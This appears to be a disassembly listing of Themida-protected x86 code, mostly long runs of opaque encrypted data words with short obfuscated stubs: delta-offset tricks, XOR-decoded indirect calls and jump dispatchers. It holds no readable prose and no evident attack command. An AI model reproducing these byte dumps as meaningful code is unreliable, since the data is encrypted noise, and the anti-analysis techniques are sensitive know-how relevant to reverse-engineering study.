		dd 234FBF19h, 0CB8FBF70h, 9304E753h, 0CFC7FBFAh, 0CFD5FBF2h
		dd 0CBF8BF6Ah, 17BFEF33h, 53D204E9h, 0CB115638h, 0EFA8BF73h
		dd 7DAFF362h, 47450537h, 0BA64F94Dh, 1473E821h,	2329E429h
		dd 0CB3EBF73h, 72F23E2Eh, 0A189A6AAh, 0C82FEA73h, 0EBE3BF73h
		dd 42AC7C2Eh, 4AFC9B1Fh, 0D1789B37h, 8E3EBF73h,	3CB57C26h
		dd 55B6991Ch, 4AA1EFFFh, 91BB7DA9h, 0A1283415h,	0C810E873h
		dd 0EB7CBF73h, 42617C2Ch, 4A1B9B0Fh, 0D78B9B37h, 8CC7BF73h
		dd 846C7C24h, 8FE143AEh, 0AB9ACC9Fh, 7C737EF8h,	0D9D7DEB2h
		dd 0B41FBF73h, 8B994125h, 0FD2DC153h, 0ABAD0BF4h, 0AADF5494h
		dd 9B383406h, 0CB6E5613h, 7D16BF73h, 3E049C77h,	0E5552F7Ah
		dd 0E02C6DD1h, 92112E4h, 0CBF13B7Ch, 9099BF73h,	782EEF23h
		dd 400FB052h, 4247E5ABh, 0DA669B77h, 29C7BF73h,	0FD8B734Ch
		dd 2B863346h, 3C12A60Ah, 0A27D7E5Ch, 0EF72BE7Ch, 0B9A5D98Dh
		dd 0CBE5E795h, 0CBC45726h, 96C3BF73h, 0A778E2B0h, 8F79BB57h
		dd 0CB64BB57h, 9E7BBF73h, 3A2F5CB0h, 0C78A62BCh, 41C7BF71h
		dd 0A1EB34A6h, 0C819EE73h, 0EBF8BF73h, 42257C2Ah, 4A3A9B3Fh
		dd 0DF1B9B37h, 8A8FBF73h, 71907C22h, 0BFB51B39h, 37B93415h
		dd 23A8BF19h, 0CB7CBF70h, 93FDE753h, 0CF3BFBFAh, 0CFABFBF2h
		dd 0CBC7BF69h, 0B420EF33h, 0D7B8514Eh, 14787085h, 0CB7D07FCh
		dd 0CB54BF73h, 0CB1C5720h, 90AFBF73h, 974EE4B0h, 8F62BB57h
		dd 0CBE6BB57h, 98BBBF73h, 0E504FB0h, 0CB335671h, 0BE1BF73h
		dd 0B76F939h, 42CAA54Ch, 7069B899h, 0C46E8482h,	0CBF356E2h
		dd 9CB4BF73h, 0F035B4C8h, 0EA83F61Dh, 9CEFEF41h, 58AF0715h
		dd 0CBF1562Dh, 0A129BF73h, 50585E82h, 0F53E60B5h, 28D78E4Fh
		dd 7305CF06h, 0C7672E12h, 0F5C7BF73h, 51D73B6Ch, 1C2A38D0h
		dd 37366BB1h, 12F0D929h, 0D9D7EC20h, 5E1FBF73h,	74891EB5h
		dd 79572EADh, 0CEF9789Eh, 585DE265h, 3DA3E59Ch,	4E73BBB2h
		dd 0CB3EBE53h, 234ABF19h, 0CB8FBF70h, 9604E253h, 0CFC7D3FAh
		dd 0CFD5FBF2h, 0CBF8BF6Ah, 9FBFEA36h, 29919450h, 9ACA0503h
		dd 0A1D6A3A1h, 0C82FE873h, 0EBE3BF73h, 42AE7C2Ch, 4AFC9B0Fh
		dd 0D6789B37h, 8C3EBF73h, 0BFB27C24h, 96E5B357h, 0CF220DEBh
		dd 9B3C087Ch, 0CBE5327Ch, 0C411BF73h, 437CBF73h, 1A3655A3h
		dd 0D5773BD0h, 866A4AECh, 4B9CCB40h, 4EECD74Ah,	0CBF1BF9Ch
		dd 0B27366F9h, 38FDD972h, 34BF0B25h, 4B1FBF73h,	0CB563D7Ch
		dd 0CBADBF73h, 0CBE05720h, 90D1BF73h, 9771E4B0h, 8FFDBB57h
		dd 0CB23BB57h, 985CBF73h, 2432C3B0h, 4DCE5CEEh,	0AB5BC4F6h
		dd 0CBF03D7Ch, 9A00BF73h, 0AD2D57F2h, 0AA60E079h, 13B73AB4h
		dd 0CB8EB96Ah, 40A1BF73h, 0CB5D56A2h, 0CB9BBF73h, 0CBFB5724h
		dd 945CBF73h, 0B7B7E0B0h, 8F9EBB57h, 0CB94BB57h, 9C80BF73h
		dd 95A685B0h, 3F10C2BAh, 0E43D9D8h, 0CB19566Ah,	0CB54BF73h
		dd 0CB1C5721h, 91AFBF73h, 9F4EE5B0h, 8F62BB57h,	0CBEBBB57h
		dd 99BABF73h, 0CB70A5B0h, 0BFF3CAEDh, 0ADCE342Ah, 3484C6F0h
		dd 0CBF23B7Ch, 0CB89BF73h, 0CBF25726h, 96D8BF73h, 0A7F5E2B0h
		dd 8FBFBB57h, 0CB03BB57h, 9ECABF73h, 114F4BB0h,	0D7BEF9C5h
		dd 709717B9h, 4E3FB5FDh, 0CD6567DBh, 0CB3EBF72h, 835970F3h
		dd 23D9BF19h, 0CBC7BF70h, 9520E153h, 0CFD5CBFAh, 0CFDCFBF2h
		dd 0CB7CBF68h, 47FDE935h, 0B564ECECh, 71E3FEE0h, 86A4387Ah
		dd 16540415h, 42A623CAh, 187D3203h, 467AA6ADh, 0D2E3FACEh
		dd 0BFE78475h, 1A808F74h, 3E2CF8BAh, 0CB89C2C4h, 0CBF25723h
		dd 93D8BF73h, 8FF5E7B0h, 8FBFBB57h, 0CB0BBB57h,	9BCFBF73h
		dd 4AA1B3B0h, 0ADB6A3A8h, 0BBB175F2h, 0D93502F0h, 0C47DB967h
		dd 0CB3E88F7h, 15A8B073h, 0D08202F0h, 0C4C7B967h, 0CBE398F6h
		dd 482B3E73h, 488F9233h, 0DF5FB6CEh, 4F31BF75h,	0CB1FBF6Fh
		dd 0CB8FB49Bh, 0AF114B73h, 92DA44DDh, 0BE136D70h, 902F087Ch
		dd 0CB7C719Ah, 32500D73h, 0D9D202F0h, 0C48EB967h, 0CBC7C9F6h
		dd 9EE3D573h, 0CBF1BC9Bh, 8A59F73h, 0EF10362Eh,	0EF7A3E77h
		dd 0CB1FA977h, 8DAFA73h, 4B2C575Dh, 3D63B594h, 1C7AE22Fh
		dd 9EF8D5B0h, 0CB7CBC9Bh, 8639F73h, 0EF73362Eh,	0EFCB3E77h
		dd 0CBC7A677h, 8B6FA73h, 0CFE183FCh, 39794026h,	0D403C1BEh
		dd 7ABC5DC8h, 0CB7A560Ah, 4280BF73h, 0CBC7BF64h, 0CBE3AD9Ah
		dd 0F82B2073h, 674D4E8h, 2FC16456h, 57D0F98Ah, 96BDE1CFh
		dd 23DCBF19h, 0CBC7BF70h, 9020E453h, 0CFD5E3FAh, 0CFDCFBF2h
		dd 0CB7CBF6Ah, 0AEFDEC30h, 0F46FBFEDh, 1504D939h, 8256DF2h
		dd 23B09235h, 0CBF1BF7Dh, 933779F8h, 42E8F38Eh,	9F1A83D0h
		dd 9E8B5Dh, 0CE19CBD3h,	4608E528h, 0D23B58CEh, 6B7C3275h
		dd 73FEA6ADh, 0B046E36Eh, 0D23F3A40h, 434B967h,	23CA56B2h
		dd 320342A6h, 0A6AD187Dh, 0FACE467Ah, 8475D2E3h, 8F74BFE7h
		dd 83BA1A80h, 0A4F305E9h, 0D8A8BD83h, 74000619h, 798D8D0Dh
		dd 0B806144Dh, 1, 6A40E1FFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5AD0C356h, 0EACC2BFh
		dd 66AAF611h, 0BF8ED381h, 13E8h, 38658900h, 690E5444h
		dd 14D13A0h, 8307E97Dh,	0BEA34391h, 835A5A53h, 0E8562DE8h
		dd 13h,	524C933Bh, 2DAEBEB7h, 98D404E1h, 0E695FDA3h, 0E82DC8BCh
		dd 10h,	0B12FE754h, 8D9C552Bh, 7F78059Ch, 9CCC93BBh, 8B5B5B5Bh
		dd 833BB3C0h, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h
		dd 8B535019h, 3FCB8C0h,	85890000h, 61430C1h, 0B7A19D8Dh
		dd 0D3FF0616h, 0BD83585Bh, 6141AE1h, 50177400h,	3FCB853h
		dd 85890000h, 61430C1h,	0B4429D8Dh, 0D3FF0616h,	0F3BA585Bh
		dd 6A3F0EC3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 3235C351h, 0B15D2D52h,	850F56E9h
		dd 13h,	0DE8h, 0E7326800h, 0D41592ADh, 4A2EF20Bh, 5B5A88C4h
		dd 24EBC08Bh, 9	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A6CA6
; ---------------------------------------------------------------------------


loc_5A6BE9:				; DATA XREF: Themida_:0054BA7Co
		mov	[ebp+619DFE1h],	esi
		mov	eax, [ebp+61412CDh]
		mov	eax, [ebp+6140AE1h]
		lea	esi, [ebp+619E02Bh]
		lea	eax, [ebp+6174C12h]
		call	eax
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 619E031h
		cmp	dword ptr [ebp+61412CDh], 1
		jnz	loc_5A6C50
		push	dword ptr [ebp+619DFE1h]
		mov	eax, [ebp+6140AE1h]
		xor	eax, 34812736h
		call	eax
		cmp	al, 1
		jnz	loc_5A6C49
		mov	eax, 1
		jmp	loc_5A6C90
; ---------------------------------------------------------------------------


loc_5A6C49:				; CODE XREF: Themida_:005A6C39j
		xor	eax, eax
		jmp	loc_5A6C90
; ---------------------------------------------------------------------------


loc_5A6C50:				; CODE XREF: Themida_:005A6C1Ej
		push	1Ch
		lea	esi, [ebp+619DFE5h]
		push	esi
		push	dword ptr [ebp+619DFE1h]
		mov	eax, [ebp+6140AE1h]
		xor	eax, 34812736h
		call	eax
		add	esp, 0Ch
		lea	esi, [ebp+619DFE5h]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_5A6C8B
		xor	eax, eax
		jmp	loc_5A6C90
; ---------------------------------------------------------------------------


loc_5A6C8B:				; CODE XREF: Themida_:005A6C7Ej
		mov	eax, 1


loc_5A6C90:				; CODE XREF: Themida_:005A6C44j
					; Themida_:005A6C4Bj ...
		cmp	dword ptr [ebp+61412CDh], 1
		jnz	loc_5A6CA4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5A6CA6
; ---------------------------------------------------------------------------


loc_5A6CA4:				; CODE XREF: Themida_:005A6C97j
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_5A6CA6:				; CODE XREF: Themida_:005A6BE4j
					; Themida_:005A6C9Fj
		lea	eax, [ebp+619E00Ah]
		mov	[ebp+6142E9Dh],	eax
		jmp	loc_5A6D6B
; ---------------------------------------------------------------------------
		db 2Eh
		dd 946267C9h, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 27h dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5A6D6B:				; CODE XREF: Themida_:005A6CB2j
		jmp	loc_5A785D
; ---------------------------------------------------------------------------
		push	619E2EAh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619E3EFh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619E50Eh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619E566h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619E677h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619E6D8h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619E9DDh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619EACAh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dd 84D6E9F3h, 3F912CA7h, 0F94B7062h, 0AE00B91Ch, 65B706D1h
		dd 0B3248C2Ch, 0F6DBB80Ah, 449471C3h, 8A4C297Bh, 4BD3DF31h
		dd 0BC95F45h, 11787358h, 93B44017h, 903C7F57h, 76E2E138h
		dd 9559CCBFh, 9E363CBAh, 4972646Fh, 7546909Dh, 35D94723h
		dd 2554E7EDh, 9AC257E6h, 4C6A8EEh, 0AFD15807h, 0D06DF893h
		dd 2591F8D8h, 89000000h, 77A617BCh, 0F9A51390h,	2E8ABB1h
		dd 8EB657E5h, 2BA9CE2h,	0A3C55806h, 0D679ECE7h,	0D085F8D9h
		dd 9C000000h, 9642C412h, 0AE5A6374h, 7A26BE56h,	0A7536A6Dh
		dd 0D37F3C9Ah, 63AB10C6h, 65BB3F96h, 3AED0430h,	217925BDh
		dd 5FCCE2F2h, 0EA51F2E3h, 0A57DCFECh, 0E3F1D7DDh, 0DD0551F2h
		dd 8833A3AEh, 0BE62D0DCh, 0FD357076h, 0BBE357E5h, 0BF1F8D69h
		dd 6FDD3B9h, 27BFE758h,	0D4ADD9DFh, 153D5DFBh, 7B4F6CDh
		dd 0CA53562Dh, 0FC8959Bh, 587F5CAEh, 0C31A8765h, 331D3893h
		dd 90625h, 0DFE0FC00h, 9A23B08Dh, 54676B48h, 9B02502h
		dd 0C0FDDAB7h, 2D83356Eh, 0E4C113AAh, 9D7ACCEDh, 5532843Bh
		dd 0DCE83A81h, 0CA684E54h, 817C580Bh, 494F171Ah, 51F1E863h
		dd 0CF024F77h, 27B0BBEAh, 1DC9F0E1h, 0FEDB2DC5h, 0CE9BE3D8h
		dd 0E7D8000Ah, 0ECD1024Fh, 13F4ADBDh, 759344A5h, 5AB25E5Dh
		dd 71BE16C2h, 57AF5B62h, 0A9AF77BFh, 51F1E7C3h,	7662AFD7h
		dd 16459D49h, 3470A10h,	0ED1557E5h, 319FB41h, 2245806h
		dd 0D71A4B40h, 0C2E4F8D9h, 0DC000000h, 4AF6C90Fh, 12DCC3F2h
		dd 434BF7C4h, 0B05C6176h, 0F1CC0B58h, 0B3BEED45h, 0A7ED9924h
		dd 51F1EB3Ah, 62AA11C5h, 0B4BA4095h, 0D4163506h, 31A5F28Ah
		dd 6E4B5B8Ah, 9BA75368h, 0E766C22Dh, 0B7E1E903h, 96D1D71Fh
		dd 4457E5BEh, 80EECA1Ch, 678288D0h, 0D55DFB92h,	3F9865ADh
		dd 7D542C7Eh, 0EEE2EF1Fh, 404B7A25h, 63482697h,	0E8389311h
		dd 801F0FEh, 0DB010000h, 1EB592E4h, 62704D9Fh, 0AB2A0759h
		dd 0F8DFBC0Eh, 7E3A73C5h, 0C618A532h, 7FD1E8E9h, 378936A2h
		dd 0ED3F7C5Ah, 6D5359E1h, 81580BCBh, 0C5121F86h, 0F5E3B0F8h
		dd 0E0071ECAh, 60D40106h, 0E145CF4h, 51F2E728h,	0D5E5143Ch
		dd 8BDDDEF8h, 0F7C412D2h, 23983E4Bh, 0D787F5D1h, 0A916C28Fh
		dd 7076A5FDh, 0EBC99C6Ah, 487057h, 0C618A333h, 0BCA3AB0h
		dd 1E7BE858h, 45C08B5h,	964D246Ch, 7714B97h, 7290A0CFh
		dd 33A4711Ah, 0DB900D5h, 0E4EE1DB5h, 0B582CA76h, 6A709F1Eh
		dd 0EED4DAA2h, 2580BC4h, 0C53E242Ah, 2A52580Bh,	0D41F6392h
		dd 205DFEDEh, 8378253h,	67BB5C84h, 0D1E6F8C4h, 6AB25ECCh
		dd 0DBF3B164h, 0EF375FF7h, 0A3954218h, 766087F7h, 147EAD45h
		dd 0AEF69A08h, 48FAE0E6h, 0E60EF7FDh, 0DEABB1B7h, 2EFDF1C9h
		dd 78548F66h, 64337C8Dh, 14D9F8DEh, 0B5E40CFEh,	0F4C10931h
		dd 0AA87D9E2h, 0F3D9DF2Ch, 76FE14D9h, 58E5400Ch, 0A32F87Ch
		dd 38219472h, 543E989Ch, 6E246h, 3BC2000h, 0BEFFD4B1h
		dd 78438F6Ch, 2D8C4926h, 0E4D9FEDBh, 515F5992h,	8E53786h
		dd 0C19EF0C9h, 7956A817h, 0C5E5Dh, 0CC8C7278h, 0A5A0580Bh
		dd 0F9A5133Eh, 0C8DDABB1h, 89B157EBh, 5E5F7441h, 19A42F0Ch
		dd 9076606Dh, 76CE7A43h, 0F3BF00DEh, 0CAB43EA4h, 68ABCh
		dd 5B647800h, 16A72C09h, 0D0EBE7C4h, 8534A17Eh,	3C815633h
		dd 0A907B1EAh, 603D8F2Eh, 19F64871h, 0D1AE00BFh, 5864B605h
		dd 0CCE4CAD0h, 0FDF8580Bh, 0F9A51396h, 0C8DDABB1h, 89B157EBh
		dd 59627441h, 10BE2B07h, 0C8D0C2C8h, 0D4FC580Bh, 83532028h
		dd 0E2C50938h, 0EF580BC8h, 4F168DCDh, 0FF8D40Ch, 0F7269342h
		dd 3C91h, 0A613A800h, 802C8F43h, 7B489028h, 9726AD5Dh
		dd 2CAD0FFh, 1A1A3B2Bh,	4E7D2B7Dh, 0F2A0100Ah, 68143C51h
		dd 0F2A04022h, 69294B51h, 0ED35F372h, 70BFEh, 11220000h
		dd 1BCh, 0CE6BD168h, 3A0DF160h,	73CAEFE6h, 0F5FB96FDh
		dd 51F2390Fh, 0CB63FB23h, 52327D83h, 0D80057E5h, 2197E337h
		dd 1DE5E76Fh, 0B1023117h, 0A318BE07h, 7C86B5DDh, 141A620Eh
		dd 0DA41D61h, 2F3BE70Fh, 8D51DC1h, 0E941EDCEh, 0E1AEB4BAh
		dd 0B313B99Dh, 6076438Bh, 5A31095Bh, 5654E497h,	9CA7D6EDh
		dd 26A3813Ah, 6182D45Fh, 5796977h, 53890000h, 963D1A6Ch
		dd 0DAF8D527h, 23B28FE1h, 70674496h, 0F6C2FB4Dh, 4EA01DBAh
		dd 7596071h, 0BF11AE2Ah, 75C7F4E2h, 0F5DBE169h,	9580BCDh
		dd 0C412A70Eh, 0D13F4BF7h, 0C018E52Dh, 0C4CAD0FFh, 57E50511h
		dd 1CF1E2BFh, 6053016h,	841C4458h, 96E880D8h, 0C09E1DB9h
		dd 3EAAB713h, 18909E88h, 0EA000005h, 9E7BCDF2h,	59368835h
		dd 13F04279h, 0C8A5F7C2h, 235CAE0Fh, 1BC1B95h, 0BAFFD2AFh
		dd 724D8B68h, 28934320h, 3C42CAD6h, 580BCE56h, 12086F6Ah
		dd 3E4BF7C4h, 6A772398h, 7F3E996Bh, 37E37BD3h, 6713A82Ah
		dd 0AE334F33h, 42FA98FCh, 0FDD52794h, 953ABC26h, 7FAEAD32h
		dd 0ED715213h, 29ACFEh,	0CDA40000h, 0D5955DCCh,	0B59CCB98h
		dd 0B1F9A513h, 0E51D80ABh, 3AE60E57h, 5FE12F4h,	5FFB1D58h
		dd 0D9DC2144h, 62DDF8h,	13F40000h, 0E9B1F9A5h, 0F1E7FDE3h
		dd 0BAE91151h, 5443AEB4h, 295157E5h, 864C19E1h,	2318935h
		dd 0A92CDCF7h, 10267810h, 5806352Dh, 479922B4h,	8936A26Fh
		dd 180A4B32h, 0D7067CEEh, 6EB607CCh, 0DD8930A1h, 12E9CFD5h
		dd 0D5FD5806h, 96A40E3Dh, 43Bh,	1A0006CEh, 2E580613h, 0A219B906h
		dd 886F9EF6h, 0F7154017h, 30DCDDF8h, 0B32181D8h, 0D846507Fh
		dd 8BDAE028h, 6157E59Dh, 0D26A5384h, 49BD1926h,	2D853188h
		dd 0F73E995h, 0F44CBA73h, 67E08EEh, 5CF41C58h, 0C7BF0E14h
		dd 6D955DF9h, 757B431Bh, 5E1AA78Fh, 0A82E7BA3h,	0FDD9E413h
		dd 3D0A12BEh, 2078249Bh, 2079E7F1h, 25A06B7h, 391C226Ah
		dd 47640DC1h, 0C80AD71Fh, 4D5AC4F3h, 0DED07785h, 4315A511h
		dd 0E1F2FFABh, 0A51930DCh, 0D97E84C8h, 1634984Eh, 3E5CFE93h
		dd 99EBD006h, 0E9EF4FBDh, 642DF003h, 0B1774890h, 0A3A9F189h
		dd 6A2118E8h, 53B73D14h, 382A74Ah, 6D9C21B6h, 815C1E9h
		dd 0EC41EDCEh, 87F5084Ah, 0CE898FD7h, 7C70356Dh, 0B1250254h
		dd 8E3A8155h, 0D1695081h, 57808D39h, 0C99668A7h, 0C0D87439h
		dd 9F096008h, 9D838946h, 0B1705600h, 0AD59F189h, 7DB7D337h
		dd 34106259h, 0CCD21AC6h, 764919E9h, 1B23CFF7h,	1A674D53h
		dd 537B766Ah, 1A1F050Bh, 0B33766Ah, 0B605D1DCh,	975FB50Ah
		dd 6A19AB91h, 0E1E7BF76h, 766A19FBh, 204FE70Fh,	0B798CCEh
		dd 32151B63h, 0BE7C5D33h, 330AF0F6h, 0F61E7C7Eh, 0C91B43C7h
		dd 0B61CEAECh, 0B4C16D05h, 6F479922h, 4D436A2h,	0FCD623BBh
		dd 188690BFh, 871A2068h, 0F5827184h, 4C1921CDh,	2F87338Ch
		dd 63FBE1E7h, 0E70F8292h, 639274B8h, 7B9D8292h,	71A1C4DFh
		dd 205DCE4Dh, 74000000h, 0B1F9A513h, 0E502E8ABh, 0E28EB657h
		dd 602BA9Ch, 0E7A3C558h, 0D9D679ECh, 0BD85F8h, 129C0000h
		dd 3E4BF7C4h, 55686F99h, 30951A9h, 51F1E81Dh, 0C5710931h
		dd 0F19D1EB8h, 0A14512E9h, 54BCBCA6h, 0FFBC1A25h, 872A97ADh
		dd 21B551F2h, 6B6B489Ah, 2A98A450h, 9F763E86h, 14C1B06Eh
		dd 0DAFE4EA5h, 4CEF3362h, 0DA57E5D2h, 168460B2h, 991C226Ah
		dd 0E75DFB8Ah, 2DAA77BFh, 0CB801ED1h, 81875299h, 5E1D199Bh
		dd 57EF87AFh, 0EAF2805h, 93A2AD30h, 0A180238h, 213h, 80D2EDEFh
		dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h
		dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh,	0BD15B41h
		dd 0D746F58h, 0B0F8C512h, 0E7FCE2E8h, 0E81051F1h, 0ACCA9B9h
		dd 13A65FB1h, 0DAB1F9A5h, 36B211F1h, 3D437290h,	0E5527437h
		dd 71654257h, 0B38AF34Ah, 0DF5C415Bh, 73559B47h, 7E58060Ch
		dd 8BEAD1A8h, 86CF2EB7h, 4E450557h, 0F8D95817h,	0CCE7h
		dd 0C412FE00h, 993E4BF7h, 21254065h, 26BEF422h,	36C7347Ah
		dd 845251F2h, 0CE08E537h, 0C73541EDh, 26C9CF17h, 0B457E589h
		dd 9A623A8Ch, 668AE94h,	0EDE5C258h, 32CA22CEh, 20CCF3E5h
		dd 218F99C8h, 0A56D357Dh, 668B99Fh, 76A5CD58h, 0FB3D0E32h
		dd 2E769E5Dh, 0B2989E66h, 0C65E1D1Dh, 73646F9Eh, 0BC1BF84Ah
		dd 9EC42301h, 15FF3893h, 12607h, 0BF00DC00h, 7A43906Dh
		dd 34874B28h, 0E9D005E2h, 0A01DBA97h, 0DA3154Eh, 0C4A1F3CAh
		dd 7D5AAC0Dh, 3512645Bh, 0BCC81AA1h, 0D2482E34h, 615C580Bh
		dd 0F8C512FAh, 0CD28D9B0h, 0FB2C1218h, 184051F1h, 0EDBB53C1h
		dd 5D1AEBEh, 4DE5D401h,	20993805h, 0CED41C74h, 51F232E8h
		dd 95A5D4FCh, 8C4A17DCh, 0D42B832Fh, 0C9FA9F29h, 0AFBAE94Bh
		dd 0E0E89427h, 9CC27D09h, 0FC2B088Bh, 2026E5F1h, 51F2D03Ah
		dd 0E8AE11C7h, 8C7278C0h, 0A051F2CFh, 0B28EE078h, 0A78ADD44h
		dd 702AF057h, 0C08A90D8h, 0A57EBCDh, 7A26953Dh,	476FF322h
		dd 6D6A37FFh, 0CCE4CA50h, 0D0F8580Bh, 582F37A1h, 76555A9Ch
		dd 0B0BBEA62h, 66439526h, 979F4B70h, 65E3C9CFh,	0CFF7580Bh
		dd 8C895CA0h, 0E3F03A28h, 0B1212EDAh, 84E85E0Ah, 0C92DE3C6h
		dd 58637389h, 59AD2906h, 3E964279h, 0E8EDFAA6h,	2ED025D1h
		dd 0BDFED86Ch, 10C6936Bh, 65717CABh, 0D5A2AA56h, 0B50DB900h
		dd 157A86h, 0EAB20000h,	8006B51Dh, 0BC898B9Ah, 705786AEh
		dd 308D4A17h, 1261C801h, 3C49F5CAh, 6875219Ah, 96A34F70h
		dd 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h
		dd 33B86459h, 52D268h, 240C8900h, 7B8068h, 24148900h, 7F7D68h
		dd 241C8900h, 19E1E168h, 8B545A06h, 0C483241Ch,	0D0895004h
		dd 8B084389h, 0C4812404h, 4, 53241C8Bh,	0C381E389h, 4
		dd 4C381h, 1C870000h, 148B5C24h, 0E0895024h, 405h, 40500h
		dd 4870000h, 0A8E95C24h, 7AFFFA91h, 0E80D1360h
		db 0C0h
; ---------------------------------------------------------------------------


loc_5A785D:				; CODE XREF: Themida_:loc_5A6D6Bj
		mov	eax, 619EC15h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 240h
		dd 8E7748CEh, 8AB469DAh, 0AB7E6DF7h, 0E5166E35h, 7BC01A75h
		dd 8BF26C68h, 0AC5389Ch, 6008465Ah, 0C3927D78h,	4DE200FFh
		dd 2AB5256Bh, 0DAE24906h, 0B12E1B63h, 0B9BA311Ah, 0AF8856E2h
		dd 81500E20h, 92BB374Fh, 0E8627105h, 0EAF55F7Eh, 0B24A36ADh
		dd 0AE791156h, 0BE84E15h, 0C5000000h, 5B4B4h, 0F3BEC291h
		dd 0BE89A6Ah, 0A7000000h, 0BF873788h, 1105A769h, 8B6644A3h
		dd 0F585ECEh, 0C081F1B7h, 6FD1h, 0FD233F9h, 1A8Ch, 0EE800h
		dd 14850000h, 1EEBF7F6h, 0EEB9D738h, 5325150Dh,	0A32EC681h
		dd 8B5F198Dh, 0E781101Ch, 29FFAC63h, 5848C381h,	7E94BBEh
		dd 55000000h, 0E260A34Dh, 0EB812C2Bh, 59324455h, 2880Fh
		dd 0CF8A0000h, 839BEB81h, 0F533E00h, 48FCABFh, 0CAB70F10h
		dd 83F78B66h, 7E904EAh,	0C6000000h, 0E4DC4570h,	0FA816E3Eh
		dd 0FFFF90D4h, 0FFA9850Fh, 0F681FFFFh, 5D8390FAh, 15E9h
		dd 709F8A00h, 5Dh, 3 dup(0)
		dd 1CE90000h, 0BE000005h, 724FA11Eh, 2D0A5C61h,	0E7C416A5h
		dd 9C79CBEEh, 0F730823Bh, 0D5E8EFC1h, 8E2BA683h, 46795F3Ch
		dd 0FCBF17F4h, 10169EAAh, 580BD52Ah, 17DC433Eh,	1308D4Ah
		dd 93DBE0F6h, 1AD12C6h,	3107AA9h, 0BA97E9D4h, 0E6F39F1Ch
		dd 121FCBF0h, 0DA50FCC1h, 0DDDCF5C2h, 3D232931h, 5151F1E8h
		dd 8E449129h, 0FA29812Dh, 8452EAA8h, 0D0685582h, 8910B188h
		dd 966A0AD1h, 5E7A5767h, 0A6320F61h, 988C7464h,	0EAEE7901h
		dd 2E8632CAh, 54814E96h, 0BFCC3665h, 0A6FBA712h, 2AAE4604h
		dd 1ECAF3E0h, 0FFDC2EC6h, 0F238E4D7h, 51F29E0Fh, 0C0DB778Bh
		dd 0FEED3BA5h, 5E59h, 40177000h, 0C47D70E4h, 40262CCFh
		dd 5451F297h, 464C942Ch, 51F29760h, 121D4C74h, 54BF7C4h
		dd 51F29721h, 0D4CF8B9Fh, 0FEED4291h, 16Dh, 0C1128400h
		dd 904350FCh, 6174812Dh, 0D236AC58h, 1DB481B0h,	4A0459Ch
		dd 0A3500541h, 536A6974h, 97522901h, 0A33D54C5h, 63737EADh
		dd 124D0658h, 5C4248C5h, 7051F1E8h, 0F704B048h,	10A92CDCh
		dd 0F3B50C64h, 63026E24h, 0E85A069Eh, 0A92EC684h, 0F1E5C214h
		dd 21B582CAh, 0F9016B9Ah, 0E413AC2Ch, 1503F9D9h, 304FF4A4h
		dd 96C3A9AFh, 0AFD751F2h, 0C6D37F17h, 0F901AD12h, 0F2970DF3h
		dd 0ACF92151h, 94E99526h, 8A5150F2h, 4F172A68h,	0F2976349h
		dd 204F7751h, 0ED40C1B4h, 715DFEh, 12740000h, 0E8B0F8C5h
		dd 0F1E7FCE2h, 32381051h, 51F1E84Ch, 71A03860h,	0E3D8FA07h
		dd 3D5DC137h, 23963F0Ch, 506D6A77h, 597E89B8h, 0A2351264h
		dd 0D006D31Bh, 4552BCEBh, 0F67D2990h, 0BB83B6D4h, 4CD2E7EEh
		dd 51F1E866h, 81389D7Ah, 274EBAE9h, 0F7FEEDF0h,	42h, 43C5120Eh
		dd 48902893h, 0B965587Bh, 0BBC83261h, 0C2F6A21Dh, 4F88BCDEh
		dd 12631C6Eh, 0E7B4FCC1h, 0C921CDF0h, 7EA309Ah,	8351F1E8h
		dd 0ADB8D36Fh, 51FEEDF1h, 0Ah, 0D317249h, 9EA102B2h, 0C012886Fh
		dd 94424FFBh, 676E7B27h, 3999A652h, 1DB504CDh, 1B375B71h
		dd 31C9F0E1h, 0A458FA9Ch, 5F3B8D2Eh, 0FF054DF1h, 57E502E8h
		dd 7D8A365Eh, 0E8E0A359h, 4AE9FE41h, 0B18860B2h, 989E2DD2h
		dd 5806A2B2h, 66479EC6h, 848FBE92h, 77BD6952h, 58065893h
		dd 0BB7111F5h, 0D4E7EB1Bh, 0C90DEA3Ch, 9D3946F2h, 9C00721Eh
		dd 2B9046FEh, 97441BE3h, 2EA47800h, 0B59076FCh,	7CA45806h
		dd 66FF3D4Dh, 0F8F8D923h, 0E312AD2Bh, 12D7Dh, 0A5139400h
		dd 74ABB1F9h, 2A57E50Dh, 8D495602h, 27AB5F79h, 0F890E894h
		dd 0A5CF44Ch, 4B726532h, 0F6C5111Ch, 22993D4Ah,	15EC0476h
		dd 0EFF7313Ah, 4496C55Fh, 0D3E8EE06h, 0F6DCA981h, 92C119C5h
		dd 0D9D73F26h, 5BBFF8h,	13D60000h, 0E8B0F8A6h, 0F1E7FCE2h
		dd 0B9E81051h, 0E7E7ADB3h, 93BBD1F1h, 0FEC6744Bh, 0D5ED3F27h
		dd 9AA1878Dh, 8DB5D1F2h, 0C8AEF45Eh, 4CD1F29Ah,	66D36A28h
